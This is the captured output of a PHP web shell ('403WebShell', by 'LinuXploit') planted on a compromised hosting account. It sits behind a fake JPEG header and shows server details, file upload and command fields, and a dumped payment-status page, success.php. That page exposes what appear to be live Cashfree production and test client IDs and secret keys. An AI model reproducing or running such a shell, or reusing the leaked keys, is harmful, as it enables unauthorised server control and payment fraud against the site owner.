���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.16  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/adjointinfocom.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/adjointinfocom.com/public_html/success.php
<?php
// Set your live or test keys based on environment
$payMode = "production"; // or "test"

if ($payMode == 'production') {
    $client_id = "46664145a544fc253377af7a76146664";
    $secret_key = "cfsk_ma_prod_d4fe4ab1a7579616f3265839f3ac43b8_f35acb8c";
    $api_url = "https://api.cashfree.com/pg/orders/";
} else {
    $client_id = "TEST395335a9a8790407e8b85a3af0533593";
    $secret_key = "TESTb3e39a0ad997f4c6ee93bc4c11c4ffd86ba7d4b4";
    $api_url = "https://sandbox.cashfree.com/pg/orders/";
}

$status = "UNKNOWN";
$order_id = "";

if (isset($_GET['order_id']) && $_GET['order_id'] != '') {
    $order_id = $_GET['order_id'];

    // Call Cashfree API to get order status
    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => $api_url . $order_id,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => array(
            "X-Client-Id: $client_id",
            "X-Client-Secret: $secret_key",
            "Content-Type: application/json",
            "x-api-version: 2023-08-01"
        ),
    ));

    $response = curl_exec($curl);
    curl_close($curl);

    $resData = json_decode($response, true);
    $status = isset($resData['order_status']) ? $resData['order_status'] : 'UNKNOWN';
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Payment Status</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link rel="stylesheet"
          href="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/css/bootstrap.min.css" crossorigin="anonymous" />
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet">
    <style>
        body {
            font-family: 'Roboto', sans-serif;
            background-color: #f1f5f8;
            padding-top: 50px;
        }

        .checkout-page {
            background-color: #fff;
            border-radius: 12px;
            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.1);
            padding: 40px;
            max-width: 500px;
            margin: 0 auto;
        }

        .header h5 {
            color: #333;
            font-size: 26px;
            font-weight: 600;
            margin-bottom: 30px;
            text-transform: uppercase;
        }

        .summary-div {
            background-color: #f9f9f9;
            border-radius: 8px;
            padding: 25px;
        }

        .summary-div p {
            font-size: 18px;
            font-weight: 500;
            color: #555;
        }

        .text-success {
            color: #28a745;
            font-weight: 700;
            font-size: 22px;
        }

        .text-red {
            color: #dc3545;
            font-weight: 700;
            font-size: 22px;
        }

        .icon {
            font-size: 24px;
        }

        .btn-primary {
            background-color: #007bff;
            color: white;
            font-size: 16px;
            padding: 12px 30px;
            border-radius: 30px;
            text-transform: uppercase;
            width: 100%;
            transition: background-color 0.3s ease;
        }

        .btn-primary:hover {
            background-color: #0056b3;
            cursor: pointer;
        }
    </style>
</head>
<body>
<main class="checkout-page">
    <div class="header text-center">
        <h5>Payment Status</h5>
    </div>
    <div class="summary-div text-center">

        <?php if ($status === "PAID") { ?>
            <p class="text-success">
                <i class="fa fa-check-circle icon"></i> Payment Successful!
            </p>
            <p><strong>Order ID:</strong> <?php echo htmlspecialchars($order_id); ?></p>
            <p>Thank you for your payment. Your order is now being processed.</p>
        <?php } elseif ($status === "CANCELLED") { ?>
            <p class="text-red">
                <i class="fa fa-times-circle icon"></i> Payment Cancelled!
            </p>
            <p><strong>Order ID:</strong> <?php echo htmlspecialchars($order_id); ?></p>
        <?php } elseif ($status === "FAILED") { ?>
            <p class="text-red">
                <i class="fa fa-times icon"></i> Payment Failed!
            </p>
            <p><strong>Order ID:</strong> <?php echo htmlspecialchars($order_id); ?></p>
        <?php } else { ?>
            <p class="text-red">
                <i class="fa fa-exclamation-triangle icon"></i> Payment status unknown or not found.
            </p>
        <?php } ?>

        <a href="https://adjointinfocom.com/" class="btn btn-primary mt-4">Back to Home</a>
    </div>
</main>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit